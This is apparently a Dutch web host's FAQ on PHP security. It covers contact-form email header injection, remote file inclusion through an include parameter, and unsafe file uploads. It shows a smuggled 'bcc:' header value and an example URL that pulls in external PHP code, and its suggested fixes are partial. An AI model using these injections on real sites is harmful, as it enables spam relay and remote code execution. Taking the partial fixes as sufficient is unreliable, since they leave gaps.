Veelgestelde vragen

De laatste tijd gebeurt het steeds vaker dat er misbruik wordt gemaakt van standaard contactformulieren. Een voorbeeldje:

Een contactformulier bestaat uit de velden:
  • Naam (1 regel)
  • Emailadres (1 regel)
  • Onderwerp (1 regel)
  • Bericht (meerdere regels).

    Het veld "Onderwerp" komt in de subject te staan. Een voorbeeld van een PHP-commando om de email van dit formulier te verzenden kan er zo uit zien:

    mail("info@mijnwebsite.nl", $onderwerp, $bericht);

    De headers van deze email komen er dan zo uit te zien:
    To: info@mijnwebsite.nl
    Subject: $onderwerp


    Met form injection spam wordt het onderwerp als volgt ingevoerd:
    onderwerp=Dit is het onderwerp\nbcc: test@test.nl

    De headers komen er dan zo uit te zien:
    To: info@mijnwebsite.nl
    Subject: Dit is het onderwerp
    bcc: test@test.nl

    Deze email wordt dan niet alleen naar info@mijnwebsite.nl gestuurd, maar ook naar test@test.nl en eventueel meerdere adressen die hierachter ingevuld worden.

    We willen iedereen dan ook vragen om hier goed op te controleren. Een goed plan om dit tegen te gaan is te controleren op de tekens \n en \r wanneer het veld niet mag bestaan uit meer dan 1 regel, en $_POST['onderwerp'] te gebruiken in plaats van $onderwerp.

    Voorbeeld:
    $onderwerp = str_replace( "\r\n", '', $_POST['onderwerp'] );
  • Omdat voor veel standaardscripts (zoals bijv. Joomla) exploits mogelijk zijn waarbij code van buitenaf uitgevoerd kan worden om schade te berokkenen, hebben wij besloten om het openen van bestanden van andere websites vanuit PHP niet toe te staan. Dit geldt o.a. voor de volgende commando's:
  • fopen
  • include
  • require
  • include_once
  • require_once
  • file

    Natuurlijk zijn er voldoende redenen te bedenken waarom uw website wel bestanden moet kunnen openen van buitenaf. Valt uw website hier ook onder, geef dan even door om welk domein het gaat, en wij zullen deze functionaliteit inschakelen voor uw site!
  • ASP wordt bij ons niet ondersteund.
    Veel mensen laden pagina's door een template te gebruiken en daarin een bestand te laden.
    Bijv: index.php?pagina=voorpagina.php

    Het bestand "voorpagina.php" wordt dan door middel van een include geladen.

    Doe dit niet! Door in te vullen: index.php?pagina=http://www.test.com/phpcode.php te openen kan de gebruiker externe code laten uitvoeren via jouw script, dit is zeer gevaarlijk!

    Beter werkt het om met een header en footer te werken, maar als dit niet geschikt is is het beter om te controleren of het bestand wel op de huidige server staat, door bijvoorbeeld te kijken of er een ":" staat in de $pagina.
    Als u toestaat dat bezoekers bestanden uploaden, moet u ervoor zorgen dat kwaadwillenden geen PHP-en andere code kunnen uploaden.

    Controleer daarom op de extensie van het bestand dat geupload wordt, zodat bijvoorbeeld .php niet mogelijk is!